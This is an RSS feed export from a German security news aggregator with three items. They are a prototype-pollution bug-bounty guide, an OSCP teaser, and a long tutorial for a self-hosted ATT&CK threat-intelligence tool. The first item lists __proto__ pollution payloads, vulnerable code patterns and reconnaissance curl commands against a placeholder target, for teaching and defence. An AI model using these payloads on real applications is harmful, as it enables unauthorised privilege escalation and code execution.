<?xml version="1.0" encoding="UTF-8" ?> 
<rss version="2.0" xmlns:atom="https://www.w3.org/2005/Atom"> 
<channel> 
<title><![CDATA[Team IT Security - 🕵️ Hacking]]></title> 
<link><![CDATA[https://tsecurity.de/feed.php?typ=7&q=]]></link> 
<description><![CDATA[Hacker ist eine Kategorie von tsecurity.de, einem Informationsportal für Cybersecurity Nachrichten. Hier finden Sie die neuesten Meldungen über Hackerangriffe, Sicherheitslücken, Malware, Ransomware und andere Bedrohungen aus dem Cyberspace. Die Beiträge werden aus verschiedenen Quellen gesammelt und nach dem Datum der letzten Aktualisierung sortiert. Sie können die RSS Feeds der einzelnen Quellen abonnieren oder die gesamte Kategorie als RSS Feed erhalten. Außerdem können Sie sich für den Newsletter anmelden, um jeden Morgen um 7 Uhr eine E-Mail mit den News der letzten 24 Stunden zu bekommen.]]></description>
<copyright>2026</copyright>
<atom:link href="https://tsecurity.de/feed.php?typ=7&amp;q=_" rel="self" type="application/rss+xml" />
<item> 
<title><![CDATA[JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation & Bug Bounty Guideline]]></title> 
<description><![CDATA[From Recon to RCE &mdash; A comprehensive deep-dive into one of JavaScript&rsquo;s most misunderstood vulnerabilitiesJavaScript Prototype Pollution Deep&nbsp;DiveTable of&nbsp;ContentsWhat Is Prototype Pollution?The JavaScript Prototype Chain &mdash; Deep&nbsp;DiveAttack Vectors &amp; Entry&nbsp;PointsReconnaissance MethodologyExploitation Techniques &mdash; From XSS to&nbsp;RCEReal-World Bug Bounty Case&nbsp;StudiesAdvanced Exploit&nbsp;ChainsTooling &amp; AutomationDefense &amp; RemediationFull Python Scanner &mdash; Production-Ready1. What Is Prototype Pollution?Prototype Pollution is a vulnerability where an attacker injects properties into JavaScript&rsquo;s Object.prototype. Because all objects inherit from Object.prototype, the injected property propagates to every object in the runtime &mdash; including window, document, process, and any object created thereafter.Why It&nbsp;MattersUnlike SQL injection or XSS, Prototype Pollution often serves as a primer &mdash; it doesn&rsquo;t immediately give you RCE unless you chain it with another gadget. But when chained correctly, the impact ranges from XSS (browser) to Remote Code Execution (Node.js).Impact Level2. The JavaScript Prototype Chain &mdash; Deep&nbsp;DiveHow Inheritance Works// Every object has a hidden [[Prototype]]const user = { name: &quot;Alice&quot; };// user ---&gt; Object.prototype ---&gt; null//         ^[[Prototype]]^When you access user.toString(), JavaScript:Looks for toString on user itself &rarr; not&nbsp;foundLooks on user.__proto__ (which is Object.prototype) &rarr;&nbsp;found!Executes it.The Vulnerability Mechanism// Normal operationconst target = {};const source = JSON.parse(&#039;{&quot;name&quot;: &quot;Alice&quot;}&#039;);Object.assign(target, source);// target = { name: &quot;Alice&quot; } &mdash; safe// Polluted operationconst source = JSON.parse(&#039;{&quot;__proto__&quot;: {&quot;isAdmin&quot;: true}}&#039;);Object.assign(target, source);// target.__proto__.isAdmin = true// ALL objects now have isAdmin: trueWhy __proto__ Works as a&nbsp;KeyJSON parsing does NOT treat __proto__ specially &mdash; it&#039;s just a string key. When Object.assign() copies properties, it sets target.__proto__ which mutates the actual prototype chain.// Visual representationconst obj = {};obj.__proto__.polluted = true;// Equivalent to:Object.prototype.polluted = true;console.log({}.polluted);  // trueconsole.log([].polluted);  // trueconsole.log(&quot;&quot;.polluted);  // true (string prototype chain)The Three Mutation&nbsp;MethodsMethod/Vul/Lib3. Attack Vectors &amp; Entry&nbsp;PointsServer-Side Entry Points (Node.js)POST /api/usersContent-Type: application/json{&quot;name&quot;: &quot;test&quot;, &quot;__proto__&quot;: {&quot;isAdmin&quot;: true}}Where to&nbsp;look:JSON body parsing (Express body-parser, express.json())Query string parsing (qs library, Express built-in)Cookie parsingFile upload&nbsp;metadataGraphQL variablesWebSocket messagesClient-Side Entry Points (Browser)https://target.com/#__proto__[polluted]=truewindow.postMessage({__proto__: {evil: true}}, &#039;*&#039;)localStorage.getItem(&#039;config&#039;) // parsed with JSON.parsews.send(JSON.stringify({__proto__: {innerHTML: &#039;&#039;}}))Common Vulnerable PatternsPattern 1: Object.assign / Spread&nbsp;Operatorapp.post(&#039;/api/update&#039;, (req, res) =&gt; {  const user = getUser(req.session.userId);  Object.assign(user, req.body);  // VULNERABLE  user.save();});Pattern 2: _.merge /&nbsp;$.extendconst config = _.merge(defaultConfig, userConfig); // VULNERABLE if userConfig comes from inputPattern 3: Deep&nbsp;Cloneconst cloned = JSON.parse(JSON.stringify(userInput)); // JSON.parse + JSON.stringify is SAFE &mdash; it strips __proto__// BUT: if you then merge cloned into another object...Pattern 4: URL Query&nbsp;Parsing// Using qs library with allowPrototypes: false (default is true in older versions)const parsed = qs.parse(&#039;a.__proto__.b=c&#039;); // Older qs: parsed = { a: { __proto__: { b: &#039;c&#039; } } }4. Reconnaissance MethodologyPhase 1: Identify DependenciesModern web apps are built on frameworks. Find the soft&nbsp;targets.# Client-side: Look for known vulnerable librariescurl -s https://target.com/assets/app.js | grep -iEo \  &#039;(jquery|lodash|underscore|handlebars|vue|react|angular|backbone)[@-]?[0-9.]+&#039;# Server-side: Check for Node.js indicatorscurl -sI https://target.com | grep -i &#039;x-powered-by\|server\|node&#039;Version lookup&nbsp;table:Vulnerable tablePhase 2: Map All Input&nbsp;PointsBuild a comprehensive list of every location where user data is parsed into&nbsp;objects.# Spider the applicationgospider -s https://target.com -o spider_output# Extract endpoints from JavaScriptcurl -s https://target.com/assets/app.js | \  grep -oP &#039;POST|PUT|PATCH|GET.*(api|graphql|v1|v2|rest)&#039; | \  sort -u &gt; endpoints.txtPhase 3: Brute-Force Pollute&nbsp;VectorsTarget each endpoint with multiple payload variants.// Payload matrix &mdash; try ALL of these{&quot;__proto__&quot;:{&quot;polluted&quot;:&quot;yes&quot;}}{&quot;__proto__&quot;:[&quot;polluted&quot;,&quot;yes&quot;]}{&quot;__proto__&quot;:{&quot;__proto__&quot;:{&quot;polluted&quot;:&quot;yes&quot;}}}{&quot;constructor&quot;:{&quot;prototype&quot;:{&quot;polluted&quot;:&quot;yes&quot;}}}{&quot;a&quot;:{&quot;__proto__&quot;:{&quot;polluted&quot;:&quot;yes&quot;}}}{&quot;[__proto__]&quot;:{&quot;polluted&quot;:&quot;yes&quot;}}{&quot;__proto__.polluted&quot;:&quot;yes&quot;}  // For query string parsersjPhase 4: Detection VerificationAfter sending the payload, verify if pollution took&nbsp;effect.Server-side check:# Send a probe payload that affects something observablecurl -s https://target.com/api/status | grep -i &#039;&quot;polluted&quot;:&quot;yes&quot;&#039;# Or check if you get 200 instead of 403 on admin endpointsClient-side check (if you can execute&nbsp;JS):// Open console on the target page after triggering the pollutionObject.prototype.polluted === &quot;yes&quot;// Or({}).polluted === &quot;yes&quot;⚠️ Content&nbsp;NoticeDue to community guidelines and responsible disclosure practices, I was unable to include the complete live exploit chain, weaponized payloads, and full proof-of-concept demonstrations in this&nbsp;article.The concepts, impacts, and mitigation strategies are covered here for educational and defensive security purposes. Readers interested in the full technical research, complete exploit analysis, and detailed proof-of-concept examples can refer to the corresponding GitHub repository linked with this&nbsp;article.This content is intended solely for security research, awareness, and defensive testing in authorized environments.Reed Full Blog: https://github.com/SecurityTalent/write-upGitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #ProgrammingJavaScript Prototype Pollution Deep Dive : &mdash; Reconnaissance, Exploitation &amp; Bug Bounty Guideline was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3580446/IT+Sicherheit/Hacker/JavaScript+Prototype+Pollution+Deep+Dive+%3A+%E2%80%94+Reconnaissance%2C+Exploitation+%26amp%3B+Bug+Bounty+Guideline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580446/IT+Sicherheit/Hacker/JavaScript+Prototype+Pollution+Deep+Dive+%3A+%E2%80%94+Reconnaissance%2C+Exploitation+%26amp%3B+Bug+Bounty+Guideline/</guid>
<pubDate>Mon, 08 Jun 2026 06:26:08 +0200</pubDate>
</item>
<item> 
<title><![CDATA[OSCP Windows Enumeration Checklist: My Complete Privilege Escalation Workflow for Every Box]]></title> 
<description><![CDATA[Learn the exact Windows enumeration process for OSCP, including WinPEAS analysis, credential hunting, token abuse, service&hellip;Continue reading on InfoSec Write-ups &raquo; ]]></description>
<link>https://tsecurity.de/de/3580445/IT+Sicherheit/Hacker/OSCP+Windows+Enumeration+Checklist%3A+My+Complete+Privilege+Escalation+Workflow+for+Every+Box/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580445/IT+Sicherheit/Hacker/OSCP+Windows+Enumeration+Checklist%3A+My+Complete+Privilege+Escalation+Workflow+for+Every+Box/</guid>
<pubDate>Mon, 08 Jun 2026 06:26:28 +0200</pubDate>
</item>
<item> 
<title><![CDATA[ThreatMapper: I Built a Self-Hosted AI Threat Intelligence Platform — Here’s How to Use It]]></title> 
<description><![CDATA[Map adversary behaviour to MITRE ATT&amp;CK in seconds, compare against 160+ APT groups, and generate PDF reports &mdash; all running locally with your own LLM&nbsp;keys.Table of&nbsp;ContentsThe ProblemWhat ThreatMapper DoesArchitecture in&nbsp;BriefSetting Up (10&nbsp;Minutes)Core Workflow: Analysing a Threat&nbsp;ReportThe Navigator: Your ATT&amp;CK WorkspaceAPT Attribution Deep-Dive: Three Compare&nbsp;ModesTwo Databases: Actor Profiles and Your Report&nbsp;LibraryGenerating ReportsUsing the AI Chat AssistantWorking with All Three ATT&amp;CK&nbsp;DomainsAPI Usage (Headless / CI Integration)Keeping ATT&amp;CK Data&nbsp;FreshTips for&nbsp;AnalystsSecurity ConsiderationsWhat&rsquo;s Coming&nbsp;NextFinal ThoughtsThe tool:GitHub - anpa1200/threatmapper: AI-powered MITRE ATT\&amp;CK threat intelligence platform - D3.js navigator, APT comparison, Claude/GPT-4o/Gemini analysis, PDF reportsDocs:ThreatMapper - Self-Hosted AI Threat Intelligence | ThreatMapperThe ProblemEvery threat intelligence analyst knows the workflow: you receive a malware report, an IR summary, or a threat feed entry, and you need to translate it into ATT&amp;CK technique IDs so you can slot it into a detection backlog or a purple-team plan.Doing this manually is slow. You read the report, recognise a behaviour (&ldquo;the implant used scheduled tasks for persistence&rdquo;), pull up the ATT&amp;CK website, search for the technique, copy the ID. Repeat 20 times for a single report. Then someone asks: &ldquo;Does this look like APT29?&rdquo; &mdash; and you start manually cross-referencing technique lists.There are commercial platforms that do this &mdash; but they are expensive, require data to leave your environment, and often treat ATT&amp;CK as a secondary feature behind proprietary kill-chains.ThreatMapper is my attempt to solve this for analysts who want a self-hosted, privacy-first, open-source option that uses the LLM API keys they already&nbsp;have.What ThreatMapper DoesIn one sentence: you give it a threat report, it gives you ATT&amp;CK technique IDs, APT group matches, confidence scores, and a&nbsp;PDF.Concretely:AI Analysis &mdash; upload a PDF, DOCX, or TXT file (or paste text), pick Claude, GPT-4o, or Gemini, and get a streamed extraction of every ATT&amp;CK technique the LLM identifies with evidence snippets and confidence scoresATT&amp;CK Navigator &mdash; an interactive heatmap of the full ATT&amp;CK matrix (Enterprise, Mobile, ICS) where you build and explore your TTP&nbsp;layerAPT Attribution &mdash; automatic Jaccard similarity ranking of every extraction against 174+ named ATT&amp;CK threat groups and 56+ named campaigns (e.g. &ldquo;Operation Ghost&rdquo;, &ldquo;SolarWinds Compromise&rdquo;)Compare &mdash; deep side-by-side comparison of your TTP set against groups, MITRE named campaigns, or your own stored report library; with visual matrix diff, tactic breakdown chart, and gap&nbsp;analysisExport &mdash; ATT&amp;CK Navigator-compatible JSON layers and multi-page PDF reports suitable for executive briefingsEverything runs locally in Docker. Your threat reports never leave your machine.(With local or private&nbsp;LLM)Architecture in&nbsp;BriefThreatMapper is four containers:The backend ingests ATT&amp;CK STIX 2.1 bundles directly from MITRE&rsquo;s GitHub repository using pure Python &mdash; no third-party ATT&amp;CK library, fully compatible with Python 3.12. All three ATT&amp;CK domains (Enterprise, Mobile, ICS) are parsed and stored in PostgreSQL with JSONB arrays for the STIX&nbsp;arrays.LLM calls go directly from the FastAPI backend to Anthropic / OpenAI / Google using their official SDKs. Your API keys never touch a third-party service beyond the LLM provider&nbsp;itself.Setting Up (10&nbsp;Minutes)PrerequisitesDocker + Docker&nbsp;ComposeAn API key for at least one of: Anthropic (Claude), OpenAI, Google&nbsp;GeminiStep 1: Clone and configuregit clone https://github.com/anpa1200/threatmapper.gitcd threatmappercp .env.example .envImportant: you must create&nbsp;.env before running docker compose up. Without it the container starts with empty API keys and AI Analysis returns&nbsp;500.Open&nbsp;.env and add your keys. You only need&nbsp;one:ANTHROPIC_API_KEY=sk-ant-...# OPENAI_API_KEY=sk-...# GEMINI_API_KEY=AIza...DB_PASS=choose_a_strong_passwordIf you want a faster first start and only need Enterprise ATT&amp;CK, set:ATTCK_DOMAINS=enterprise-attackThis downloads ~35 MB instead of ~105&nbsp;MB.Step 2:&nbsp;Startdocker compose upThe first start downloads and ingests ATT&amp;CK data automatically. Watch progress:docker compose logs -f apiYou&rsquo;ll see something like:Parsing enterprise-attack-19.1.json ...  Parsed: 15 tactics, 760 techniques, 174 groups, 56 campaigns, 9100+ usagesFinished ingesting enterprise-attack v19.1INFO:     Application startup complete.This takes 5&ndash;15 minutes depending on your network speed. Subsequent startups are instant (data is cached in the PostgreSQL volume).Step 3:&nbsp;OpenFrontend: http://localhost:3000API docs (Swagger UI): http://localhost:8000/docsCore Workflow: Analysing a Threat&nbsp;ReportThis is the killer feature and what most analysts will use day-to-day.Upload your&nbsp;reportNavigate to Analyze in the sidebar. You&rsquo;ll&nbsp;see:A provider dropdown (Claude / GPT-4o /&nbsp;Gemini)An optional model override (defaults to claude-opus-4-8, gpt-4o, gemini-2.0-flash)A domain selector (enterprise-attack for most corporate IR&nbsp;work)A text area or file&nbsp;uploadFor a PDF analysis&nbsp;report:Select Claude (or your preferred provider)Leave the domain as enterprise-attackClick Choose file and upload your&nbsp;PDFClick Analyse with&nbsp;AIYou&rsquo;ll immediately see the LLM&rsquo;s response streaming in the output box &mdash; token by token, just like ChatGPT. This is not a spinner that makes you wait: you can read the thinking as it&nbsp;happens.Reading the&nbsp;resultsWhen the stream completes, three tabs&nbsp;appear:Techniques tab &mdash; the core output. Each row&nbsp;shows:FieldExampleATT&amp;CK IDT1059.001NamePowerShellTacticExecutionConfidence92%Evidence&rdquo;executed a base64-encoded PowerShell payload&rdquo;The evidence field is a direct quote or paraphrase from your source document &mdash; you can use it to trace every mapping back to its origin in the text. High confidence (&ge; 80%) means the text explicitly described the behaviour; lower scores mean it was inferred.APT Matches tab &mdash; the attribution layer. Computed locally using Jaccard similarity between your extracted techniques and every named ATT&amp;CK group&rsquo;s known TTP set. The top 10 are shown&nbsp;with:Similarity score&nbsp;(0&ndash;100%)Shared technique countList of the overlapping technique IDsA match above 25&ndash;30% is worth investigating. Don&rsquo;t treat this as definitive attribution &mdash; use it as a lead for further research.Raw Response &mdash; the LLM&rsquo;s full JSON output. Useful for debugging when the model outputs something unexpected.Inject into NavigatorClick &rarr; Inject into Navigator to push all extracted techniques into your live Navigator layer. You can&nbsp;then:See the techniques highlighted on the full ATT&amp;CK&nbsp;matrixOverlay an APT group to visualise the behavioural overlapExport as an ATT&amp;CK Navigator JSON&nbsp;layerThe Navigator: Your ATT&amp;CK WorkspaceThe Navigator is the central hub. It renders the full ATT&amp;CK matrix as an interactive heatmap with D3.js zoom/pan.Building a&nbsp;layerClick any technique cell to add it to your layer (it turns red). Click again to deselect. For sub-techniques, click the small ▶ arrow to expand the parent cell and see the sub-technique rows.Practical tip: use the search box to find techniques by name or ID without manually scanning the matrix. Type T1059 to jump to all Command and Scripting Interpreter techniques, or type phish to find all phishing-related techniques.Overlaying an APT&nbsp;groupGo to APT Library and find your group of&nbsp;interestClick Overlay on NavigatorReturn to NavigatorThe matrix now uses three&nbsp;colours:Red &mdash; in your layer&nbsp;onlyBlue &mdash; in the APT group&rsquo;s profile&nbsp;onlyAmber &mdash; in both (the&nbsp;overlap)This visual immediately answers: &ldquo;Which of this group&rsquo;s known techniques am I not already detecting?&rdquo;Importing an existing&nbsp;layerIf you already have ATT&amp;CK Navigator layers from previous work, click &uarr; Import layer and upload the JSON. ThreatMapper will load it as your active layer, which you can then enrich with AI analysis or compare against APT&nbsp;groups.Saving and Loading Named&nbsp;LayersOnce you have built a TTP layer &mdash; whether through AI analysis, manual selection, or an APT campaign overlay &mdash; you can save it to the database with a name and reload it in any future&nbsp;session.Why this&nbsp;mattersWithout persistence, every session starts blank. You would have to re-inject or re-select all your techniques each time you come back to a piece of work. Named layers let&nbsp;you:Bookmark a specific investigation. Save &ldquo;Lazarus Q1 2025 incident&rdquo; at 47 techniques and return to it a week later exactly where you left&nbsp;off.Build a fingerprint library. Save a layer for each major campaign you track &mdash; &ldquo;Operation Ghost TTPs&rdquo;, &ldquo;SolarWinds Compromise TTPs&rdquo; &mdash; and reload any of them for comparison without re-running AI analysis.Maintain a baseline. Keep a &ldquo;What we detect&rdquo; layer with your detection coverage and a &ldquo;What we&rsquo;ve seen&rdquo; layer of your observed incidents. Load each into a fresh session to&nbsp;compare.Share work across team members. Layers are stored in the shared PostgreSQL database, so a layer saved by one analyst is visible to&nbsp;all.Saving a&nbsp;layerSelect your techniques in Navigator (they turn&nbsp;red)Click &darr; Save layer in the toolbar &mdash; this button appears only when at least one technique is&nbsp;selectedEnter a descriptive name (e.g. &ldquo;MuddyWater CTI analysis &mdash; April&nbsp;2025&rdquo;)Press Enter or click&nbsp;SaveThe layer is immediately written to the database. The technique IDs are stored in sorted, deduplicated form together with the&nbsp;domain.Loading a&nbsp;layerClick 📂 Load layer in the toolbar (always&nbsp;visible)A list of all saved layers appears, each showing the name, technique count, domain, and last-modified dateClick Load &mdash; the saved layer replaces your current selection entirelyTo delete a layer you no longer need, click the ✕ button next to it in the Load dialog and&nbsp;confirm.APT Attribution Deep-Dive: Three Compare&nbsp;ModesThe Compare view has three modes selectable from a switcher at the top of the&nbsp;page.Mode 1 &mdash; Groups (DB&nbsp;1)With techniques selected in Navigator (or injected from an AI analysis), navigate to Compare, make sure Groups (DB 1) is selected, and click Compare vs APT Groups. This ranks all 174+ threat groups by Jaccard similarity.Click any group to open the four-tab detail&nbsp;view:Overview &mdash; similarity score, shared technique chips (amber), techniques only in your layer (red). Answers: &ldquo;How much of our observed behaviour matches this group&rsquo;s known playbook?&rdquo;Tactic Breakdown &mdash; stacked bar per kill-chain phase: shared / user-only / APT-only. Reveals where in the kill chain the overlap is concentrated.Visual Diff &mdash; compact colour-strip matrix. Best for presentations.Gap Analysis &mdash; every technique in the group&rsquo;s known profile not in your layer. This is your detection backlog.Mode 2 &mdash; Campaigns (DB&nbsp;1)Switch to Campaigns (DB 1) and click Compare vs Campaigns. This ranks all 56+ named MITRE operations by Jaccard similarity.Why this is more precise than group comparison: A group&rsquo;s aggregate profile spans years. A campaign profile is one specific attack. Matching your TTPs against C0024 (SolarWinds Compromise) at 40% is a sharper lead than matching against G0016 (APT29) at&nbsp;15%.Mode 3 &mdash; Reports (DB&nbsp;2)Switch to Reports (DB 2). The left panel lists every AI analysis you have ever run. Click any report to re-run Jaccard comparison against all ATT&amp;CK groups &mdash; without re-calling the&nbsp;LLM.Use this for retrospective attribution after ATT&amp;CK releases new group data, or to cluster multiple incidents under a common&nbsp;actor.Practical attribution workflowRun AI analysis on your incident data (give it a descriptive name)Inject extracted techniques into NavigatorCompare &rarr; Groups mode: look for similarity &gt;&nbsp;25%Compare &rarr; Campaigns mode: check if the top group has a campaign that fits the&nbsp;timelineGap Analysis tab: use the technique gap as a structured hunt checklistDownload the PDF report for your&nbsp;findingsTwo Databases: Actor Profiles and Your Report&nbsp;LibraryWhen you dig into attribution you quickly realise there are two different things you want to compare&nbsp;against:What MITRE says groups have done &mdash; the curated ATT&amp;CK dataset of group TTP profiles, including named campaigns (specific operations like &ldquo;Operation Ghost&rdquo;)What you have actually observed &mdash; your own library of analysed reports, each with its own extracted TTP&nbsp;mappingThreatMapper v0.3 builds both into a single comparison workflow via three modes in the Compare&nbsp;view.DB 1: MITRE Actor Profiles and Named CampaignsThe ATT&amp;CK STIX 2.1 bundle contains more than just group TTP profiles. It also includes:campaign objects &mdash; named operations with their own ATT&amp;CK IDs (e.g. C0023 = &quot;Operation Ghost&quot;, C0025 = &quot;2016 Ukraine Electric Power&nbsp;Attack&quot;)attributed-to relationships &mdash; which group conducted which&nbsp;campaignuses relationships at the campaign level &mdash; the specific techniques observed in each named operation (often different from the group&#039;s aggregate profile)ThreatMapper parses all of this during ATT&amp;CK ingestion. The result is two searchable, comparable datasets that both live in DB&nbsp;1:DatasetWhat it containsID formatAPT GroupsAggregate TTP profile of each named threat groupG0001 &mdash; G0174+CampaignsTTP profile of each named operation/campaignC0001 &mdash; C0063+Why campaigns matter: A group&rsquo;s aggregate profile is the union of everything ever attributed to them across all operations and years. A campaign profile is specific to one attack. Comparing your incident TTPs against campaigns is often more discriminating than comparing against the full group &mdash; an incident that matches C0023 (Operation Ghost) at 45% similarity is a more specific lead than a match against G0016 (APT29) at&nbsp;15%.Viewing campaigns in the APT&nbsp;LibraryThe APT Library now has two tabs per&nbsp;group:Techniques &mdash; the full aggregate TTP list (existing behaviour)Campaigns (DB 1) &mdash; all named operations attributed to this&nbsp;groupEach campaign card shows the date range, technique count, and ATT&amp;CK ID. Click to expand and see the full technique list with the use description from&nbsp;STIX.The &ldquo;Add to my TTPs&rdquo; button on each campaign card pushes all of that campaign&rsquo;s techniques into your Navigator layer &mdash; useful for building a &ldquo;this specific operation&rsquo;s TTP fingerprint&rdquo; layer to compare against your detection coverage.DB 2: Your Report&nbsp;LibraryEvery time you run an AI analysis in ThreatMapper, the result is stored: the extracted techniques, the summary, the APT matches, and the provider/model used. DB 2 is this library of past analyses.Access it via Compare &rarr; Reports (DB&nbsp;2).The left panel lists every completed report session&nbsp;with:Name (the filename or label you gave it when you uploaded)Technique countDomainProvider and model&nbsp;usedDateClick any report to run a fresh Jaccard comparison of that report&rsquo;s extracted techniques against all ATT&amp;CK groups. This answers: &ldquo;If I come back to this report from three months ago &mdash; which groups match its TTP profile?&rdquo;This is useful in a few scenarios:Retrospective attribution: You analysed a report before you had a strong hypothesis about the actor. A new ATT&amp;CK version was released that added new groups or techniques. Rerun the comparison against the updated ATT&amp;CK data without re-running the expensive LLM analysis.Cross-incident correlation: If two reports from different incidents both have high similarity to the same APT group, that&rsquo;s a data point for clustering the incidents under the same&nbsp;actor.Building a baseline: Accumulate 20 reports over a quarter. In the Reports library you can see at a glance which groups are recurring themes across your incident set &mdash; a form of environmental threat profiling.The three Compare&nbsp;modesModeWhat you compareAgainstGroups (DB 1)Your selected TTPs (from Navigator)All 174+ ATT&amp;CK groupsCampaigns (DB 1)Your selected TTPs (from Navigator)All named MITRE campaignsReports (DB 2)A stored report&rsquo;s extracted TTPsAll 174+ ATT&amp;CK&nbsp;groupsUse the mode switcher at the top of the Compare page to move between&nbsp;them.API for both databasesCompare against campaigns:curl -X POST &quot;http://localhost:8000/api/apt/campaigns/compare?domain=enterprise-attack&amp;top_n=10&quot; \  -H &quot;Content-Type: application/json&quot; \  -d &#039;{&quot;technique_ids&quot;: [&quot;T1566.001&quot;, &quot;T1059.001&quot;, &quot;T1078&quot;, &quot;T1021.001&quot;]}&#039;List your stored report sessions:curl &quot;http://localhost:8000/api/analyze/sessions?limit=20&quot; | python -m json.toolRe-compare a stored&nbsp;report:SESSION_ID=&quot;550e8400-e29b-41d4-a716-446655440000&quot;curl -X POST &quot;http://localhost:8000/api/analyze/sessions/$SESSION_ID/compare?top_n=10&quot;List campaigns for a specific&nbsp;group:curl &quot;http://localhost:8000/api/apt/campaigns?domain=enterprise-attack&amp;group_id=G0016&quot;Generating ReportsThreatMapper generates two types of PDF&nbsp;reports.Analysis reportFrom the Analyze page, after a completed analysis, click Download PDF. The report is formatted for sharing with management or a client and includes:Cover page with provider, model, domain, session ID, and timestampExecutive summary (the AI-generated TL;DR)Extracted techniques table sorted by confidence descendingAPT attribution section with the top 10 Jaccard&nbsp;matchesTactic coverage breakdown showing how the techniques distribute across the kill&nbsp;chainNavigator layer&nbsp;reportFrom the Navigator, click &darr; PDF in the toolbar. This generates a lighter report listing all techniques in your current layer with their ATT&amp;CK IDs, tactics, and platforms &mdash; useful as a rapid deliverable for a purple-team session or a detection engineering sprint.Using the AI Chat AssistantEvery technique in the detail panel has an embedded AI chat. This is not a generic chatbot &mdash; it is a threat intelligence assistant with the full ATT&amp;CK description of the selected technique already in&nbsp;context.Practical prompts that work&nbsp;well:For detection engineering:&ldquo;Write a SIGMA rule for detecting this technique on Windows via Sysmon&nbsp;events&rdquo;For understanding evasion:&ldquo;How do attackers modify this technique to avoid common detections?&rdquo;For hunting:&ldquo;What should I look for in Windows Security event logs to hunt for this technique? Give me specific event IDs and field&nbsp;values.&rdquo;For red teaming&nbsp;context:&ldquo;Which tools in the open-source red team ecosystem implement this technique?&rdquo;For correlation:&ldquo;Which techniques are commonly chained with this one in post-exploitation workflows?&rdquo;The context field at the bottom of the chat lets you paste additional information &mdash; for example, a log snippet or a list of technique IDs from your current investigation. This gives the assistant grounding in your specific situation. The context field accepts up to 8,000 characters.Working with All Three ATT&amp;CK&nbsp;DomainsThreatMapper supports Enterprise, Mobile, and ICS ATT&amp;CK out of the&nbsp;box.Switch domains using the Domain dropdown in the Navigator toolbar or the Analyze&nbsp;page.Enterprise ATT&amp;CK &mdash; 641 techniques, 163 groups. Use for traditional IT infrastructure incidents: Windows/Linux/macOS endpoints, cloud workloads, Active Directory environments.Mobile ATT&amp;CK &mdash; covers Android and iOS threat behaviours. Useful for incidents involving mobile device management (MDM) bypass, spyware, or mobile-targeting APT campaigns.ICS ATT&amp;CK &mdash; covers operational technology and industrial control systems. Use for incidents involving SCADA, PLCs, HMIs, or critical infrastructure.Each domain has its own set of tactics, techniques, and APT groups. When you run an AI analysis, select the appropriate domain so the Jaccard comparison runs against groups known for activity in that&nbsp;domain.API Usage (Headless / CI Integration)ThreatMapper exposes a full REST API. You can drive the entire workflow programmatically.Analyse a report via&nbsp;APIcurl -X POST http://localhost:8000/api/analyze \  -F &quot;provider=claude&quot; \  -F &quot;domain=enterprise-attack&quot; \  -F &quot;file=@incident_report.pdf&quot; \  | python -m json.toolResponse:{  &quot;session_id&quot;: &quot;550e8400-e29b-41d4-a716-446655440000&quot;,  &quot;provider&quot;: &quot;claude&quot;,  &quot;model&quot;: &quot;claude-opus-4-8&quot;,  &quot;summary&quot;: &quot;The report describes a spearphishing campaign ...&quot;,  &quot;techniques&quot;: [    {      &quot;attack_id&quot;: &quot;T1566.001&quot;,      &quot;name&quot;: &quot;Spearphishing Attachment&quot;,      &quot;tactic&quot;: &quot;initial-access&quot;,      &quot;confidence&quot;: 0.95,      &quot;evidence&quot;: &quot;the email contained a malicious Excel attachment&quot;    }  ],  &quot;apt_matches&quot;: [    {      &quot;group_attack_id&quot;: &quot;G0016&quot;,      &quot;group_name&quot;: &quot;APT29&quot;,      &quot;similarity&quot;: 0.34,      &quot;shared_count&quot;: 8,      &quot;shared_techniques&quot;: [&quot;T1566.001&quot;, &quot;T1059.001&quot;, ...]    }  ]}Compare a known technique set via&nbsp;APIcurl -X POST &quot;http://localhost:8000/api/apt/compare?domain=enterprise-attack&amp;top_n=5&quot; \  -H &quot;Content-Type: application/json&quot; \  -d &#039;{&quot;technique_ids&quot;: [&quot;T1566.001&quot;, &quot;T1059.001&quot;, &quot;T1078&quot;, &quot;T1021.001&quot;, &quot;T1003.001&quot;]}&#039; \  | python -m json.toolManage saved layers via&nbsp;API# List all saved layers (optionally filter by domain)curl &quot;http://localhost:8000/api/layers?domain=enterprise-attack&quot; | python -m json.tool# Save a layercurl -X POST http://localhost:8000/api/layers \  -H &quot;Content-Type: application/json&quot; \  -d &#039;{&quot;name&quot;: &quot;MuddyWater Q1 indicators&quot;, &quot;domain&quot;: &quot;enterprise-attack&quot;,       &quot;technique_ids&quot;: [&quot;T1566.001&quot;, &quot;T1059.001&quot;, &quot;T1078&quot;, &quot;T1021.001&quot;]}&#039;# Load a specific layer (returns technique_ids)LAYER_ID=&quot;550e8400-e29b-41d4-a716-446655440000&quot;curl &quot;http://localhost:8000/api/layers/$LAYER_ID&quot; | python -m json.tool# Delete a layercurl -X DELETE &quot;http://localhost:8000/api/layers/$LAYER_ID&quot;Stream an analysis (Python&nbsp;example)import httpx, jsonwith httpx.stream(    &quot;POST&quot;,    &quot;http://localhost:8000/api/analyze/stream&quot;,    data={&quot;provider&quot;: &quot;claude&quot;, &quot;domain&quot;: &quot;enterprise-attack&quot;},    files={&quot;file&quot;: open(&quot;report.pdf&quot;, &quot;rb&quot;)},    timeout=300,) as r:    for line in r.iter_lines():        if line.startswith(&quot;data: &quot;):            event = json.loads(line[6:])            if event[&quot;type&quot;] == &quot;token&quot;:                print(event[&quot;content&quot;], end=&quot;&quot;, flush=True)            elif event[&quot;type&quot;] == &quot;result&quot;:                print(&quot;\n\nFinal techniques:&quot;)                for t in event[&quot;data&quot;][&quot;techniques&quot;]:                    print(f&quot;  {t[&#039;attack_id&#039;]} ({t[&#039;confidence&#039;]*100:.0f}%) - {t[&#039;name&#039;]}&quot;)            elif event[&quot;type&quot;] == 